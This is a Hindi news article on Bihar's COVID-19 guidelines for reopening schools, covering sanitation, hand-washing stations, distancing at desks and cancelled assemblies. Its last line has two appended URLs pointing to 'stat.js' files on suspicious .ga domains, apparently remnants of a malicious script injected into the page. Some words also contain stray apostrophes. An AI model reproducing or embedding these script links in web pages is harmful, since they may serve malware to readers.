लॉकडाउन के बाद सबसे आखिर में जब प्रदेश के स्कूल खुलेंगे, तब भी प्रदेश के स्कूलों में पढ़ने वाले तीन-साढ़े तीन करोड़ बच्चों की सुरक्षा के लिए स्कूलों की दिनचर्या में कई सारी पा’बंदियां कायम रहेंगी। हालांकि सं’क्रमण से बचाव के लिए सबसे अहम मसला यानी कि सामाजिक दूरी बनाकर रखना कम चु’नौती भरा टास्क नहीं होगा। कारण कि प्रदेश के सरकारी विद्यालयों में न तो इतने वर्गकक्ष हैं और न ही इतनी बेंच-डेस्क। वर्गकक्ष अत्यधिक नहीं होने से यहां तो कक्षाओं में बच्चे ठूंसे रहते हैं।

 

फिर बिहार के बच्चों की आपस में घुलने-मिलने की वर्षों की आदत भी एक दिन में नहीं चली जाएगी। वे आपस में गुत्थम-गुत्थी होते हैं। झुंड में रहते हैं। कंधे पर हाथ धरकर एक-दूसरे से बतियाते हैं। ऐसे में बिहार शिक्षा परियोजना परिषद ने यूनीसेफ, विश्व स्वास्थ्य संगठन और राष्ट्रीय स्वास्थ्य मंत्रालय की सलाह पर तैयार गाइड लाइन को स’ख्ती से ला’गू करने का मन बना लिया है।

यह नीति सूबे के सभी निजी और सरकारी विद्यालयों में लागू करने की तैयारी है। इसके तहत सुरक्षित स्कूल वातावरण बनाने पर जोर होगा। साबुन और स्वच्छ पानी के साथ स्कूलों में हैंडवाशिंग स्टेशन तैयार होंगे। लगातार हाथ धुलाई और स्कूल परिसर की स्वच्छता पर जोर देना होगा। प्रत्येक कक्षा में प्रवेश व निकास द्वार तथा शौचालयों और खानाघर के पास सेनिटाइटजर रखने होंगे। दिन में कम से कम एकबार स्कूल की इमारतों, कक्षाओं को कीटाणुरहित करने के लिए सफाई-धुलाई होगी। रेलिंग, लंच टेबुल, खेल उपकरण, दरवाजे-खिड़की-दरवाजे के हैंडल, खिलौने की सतहों को सेनिटाइज किया जाएगा।

 

रोजना के रूटीन में ये संशोधन करने होंगे स्कूल की शुरुआत और अंत में बच्चों को एक जगह इकट्ठा नहीं करना, असेम्बली, खेल और अन्य गतिविधियां जो भीड़ इकट्ठा करती हैं, वे रद्द होंगी, बच्चे डेस्क पर कम से कम एक मीटर की दूरी पर बैठेंगे, बच्चों को सुरक्षित दूरी के बारे में बताया जाएगा, उन्हें अनावश्यक चीजों को छूने से मना किया जाएगा, कोविद-19 के लक्षण और बचाव की जानकारी सभी को दी जाएगी, छात्र, शिक्षक और कर्मियों की उपस्थिति, अनुपस्थिति की ट्रैकिंग होगी, बीमार छात्रों, शिक्षकों, कर्मियों को स्कूल नहीं आना सुनिश्चित करना होगा।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms